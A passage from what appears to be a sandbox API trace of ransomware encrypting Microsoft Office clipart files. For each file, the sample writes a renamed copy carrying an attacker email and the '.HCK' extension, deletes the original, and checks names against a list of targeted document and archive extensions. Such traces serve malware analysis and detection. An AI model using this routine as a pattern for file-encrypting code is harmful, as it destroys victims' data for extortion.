| out: lpNewFilePointer=0x0) returned 1 [0167.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0167.782] GetLastError () returned 0x0 [0167.782] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2a64, lpOverlapped=0x0) returned 1 [0167.786] WriteFile (in: hFile=0x360, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2a70, lpOverlapped=0x0) returned 1 [0167.787] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.787] WriteFile (in: hFile=0x360, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.787] SetEndOfFile (hFile=0x360) returned 1 [0167.789] CloseHandle (hObject=0x360) returned 1 [0167.791] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.791] SetEndOfFile (hFile=0x388) returned 1 [0167.797] CloseHandle (hObject=0x388) returned 1 [0167.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.798] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 1 [0167.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0167.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0167.805] lstrlenW (lpString=".doc") returned 4 [0167.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.805] lstrlenW (lpString=".docx") returned 5 [0167.805] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.805] lstrlenW (lpString=".pdf") returned 4 [0167.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.805] lstrlenW (lpString=".xls") returned 4 [0167.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.805] lstrlenW (lpString=".xlsx") returned 5 [0167.805] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.805] lstrlenW (lpString=".ppt") returned 4 [0167.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0167.805] lstrlenW (lpString=".zip") returned 4 [0167.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.805] lstrlenW (lpString=".rar") returned 4 [0167.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.805] lstrlenW (lpString=".bz2") returned 4 [0167.805] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.805] lstrlenW (lpString=".7z") returned 3 [0167.805] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0167.805] lstrlenW (lpString=".dbf") returned 4 [0167.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0167.805] lstrlenW (lpString=".1cd") returned 4 [0167.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0167.806] lstrlenW (lpString=".jpg") returned 4 [0167.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0167.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0167.806] lstrlenW (lpString=".doc") returned 4 [0167.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.806] lstrlenW (lpString=".docx") returned 5 [0167.806] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.806] lstrlenW (lpString=".pdf") returned 4 [0167.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.806] lstrlenW (lpString=".xls") returned 4 [0167.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.806] lstrlenW (lpString=".xlsx") returned 5 [0167.806] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.806] lstrlenW (lpString=".ppt") returned 4 [0167.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0167.806] lstrlenW (lpString=".zip") returned 4 [0167.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.806] lstrlenW (lpString=".rar") returned 4 [0167.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.806] lstrlenW (lpString=".bz2") returned 4 [0167.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.806] lstrlenW (lpString=".7z") returned 3 [0167.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0167.806] lstrlenW (lpString=".dbf") returned 4 [0167.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0167.806] lstrlenW (lpString=".1cd") returned 4 [0167.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0167.806] lstrlenW (lpString=".jpg") returned 4 [0167.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.806] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.806] lstrlenW (lpString="J0107344.WMF") returned 12 [0167.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0167.810] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5076) returned 1 [0167.810] CloseHandle (hObject=0x360) returned 1 [0167.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 0x220 [0167.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0167.820] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.820] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0167.827] GetLastError () returned 0x0 [0167.827] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x13d4, lpOverlapped=0x0) returned 1 [0167.828] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x13e0, lpOverlapped=0x0) returned 1 [0167.829] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.829] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.829] SetEndOfFile (hFile=0x308) returned 1 [0167.833] CloseHandle (hObject=0x308) returned 1 [0167.834] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.834] SetEndOfFile (hFile=0x2ec) returned 1 [0167.837] CloseHandle (hObject=0x2ec) returned 1 [0167.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.840] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 1 [0167.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0167.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0167.843] lstrlenW (lpString=".doc") returned 4 [0167.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.843] lstrlenW (lpString=".docx") returned 5 [0167.843] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.843] lstrlenW (lpString=".pdf") returned 4 [0167.843] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.843] lstrlenW (lpString=".xls") returned 4 [0167.843] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.843] lstrlenW (lpString=".xlsx") returned 5 [0167.843] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.843] lstrlenW (lpString=".ppt") returned 4 [0167.843] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0167.843] lstrlenW (lpString=".zip") returned 4 [0167.843] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.843] lstrlenW (lpString=".rar") returned 4 [0167.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.843] lstrlenW (lpString=".bz2") returned 4 [0167.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.843] lstrlenW (lpString=".7z") returned 3 [0167.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0167.843] lstrlenW (lpString=".dbf") returned 4 [0167.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0167.843] lstrlenW (lpString=".1cd") returned 4 [0167.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0167.843] lstrlenW (lpString=".jpg") returned 4 [0167.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0167.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0167.844] lstrlenW (lpString=".doc") returned 4 [0167.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.844] lstrlenW (lpString=".docx") returned 5 [0167.844] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.844] lstrlenW (lpString=".pdf") returned 4 [0167.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.844] lstrlenW (lpString=".xls") returned 4 [0167.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.844] lstrlenW (lpString=".xlsx") returned 5 [0167.844] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.844] lstrlenW (lpString=".ppt") returned 4 [0167.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0167.844] lstrlenW (lpString=".zip") returned 4 [0167.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.844] lstrlenW (lpString=".rar") returned 4 [0167.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.844] lstrlenW (lpString=".bz2") returned 4 [0167.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.844] lstrlenW (lpString=".7z") returned 3 [0167.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0167.844] lstrlenW (lpString=".dbf") returned 4 [0167.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0167.844] lstrlenW (lpString=".1cd") returned 4 [0167.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0167.844] lstrlenW (lpString=".jpg") returned 4 [0167.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.844] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.844] lstrlenW (lpString="J0107446.WMF") returned 12 [0167.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0167.855] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=30336) returned 1 [0167.855] CloseHandle (hObject=0x308) returned 1 [0167.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 0x220 [0167.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0167.863] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.863] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0167.868] GetLastError () returned 0x0 [0167.868] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7680, lpOverlapped=0x0) returned 1 [0167.871] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7690, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7690, lpOverlapped=0x0) returned 1 [0167.872] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.872] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.872] SetEndOfFile (hFile=0x2ec) returned 1 [0167.878] CloseHandle (hObject=0x2ec) returned 1 [0167.878] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.878] SetEndOfFile (hFile=0x368) returned 1 [0167.879] CloseHandle (hObject=0x368) returned 1 [0167.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.879] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 1 [0167.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0167.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0167.881] lstrlenW (lpString=".doc") returned 4 [0167.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.881] lstrlenW (lpString=".docx") returned 5 [0167.881] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.881] lstrlenW (lpString=".pdf") returned 4 [0167.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.881] lstrlenW (lpString=".xls") returned 4 [0167.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.881] lstrlenW (lpString=".xlsx") returned 5 [0167.881] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.881] lstrlenW (lpString=".ppt") returned 4 [0167.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0167.881] lstrlenW (lpString=".zip") returned 4 [0167.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.881] lstrlenW (lpString=".rar") returned 4 [0167.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.881] lstrlenW (lpString=".bz2") returned 4 [0167.881] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.882] lstrlenW (lpString=".7z") returned 3 [0167.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0167.882] lstrlenW (lpString=".dbf") returned 4 [0167.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0167.882] lstrlenW (lpString=".1cd") returned 4 [0167.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0167.882] lstrlenW (lpString=".jpg") returned 4 [0167.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0167.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0167.882] lstrlenW (lpString=".doc") returned 4 [0167.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.882] lstrlenW (lpString=".docx") returned 5 [0167.882] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.882] lstrlenW (lpString=".pdf") returned 4 [0167.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.882] lstrlenW (lpString=".xls") returned 4 [0167.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.882] lstrlenW (lpString=".xlsx") returned 5 [0167.882] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.882] lstrlenW (lpString=".ppt") returned 4 [0167.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0167.882] lstrlenW (lpString=".zip") returned 4 [0167.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.882] lstrlenW (lpString=".rar") returned 4 [0167.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.882] lstrlenW (lpString=".bz2") returned 4 [0167.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.882] lstrlenW (lpString=".7z") returned 3 [0167.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0167.882] lstrlenW (lpString=".dbf") returned 4 [0167.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0167.882] lstrlenW (lpString=".1cd") returned 4 [0167.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0167.882] lstrlenW (lpString=".jpg") returned 4 [0167.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.882] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.882] lstrlenW (lpString="J0107456.WMF") returned 12 [0167.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.888] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3724) returned 1 [0167.888] CloseHandle (hObject=0x364) returned 1 [0167.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 0x220 [0167.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0167.894] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.894] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0167.899] GetLastError () returned 0x0 [0167.899] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, 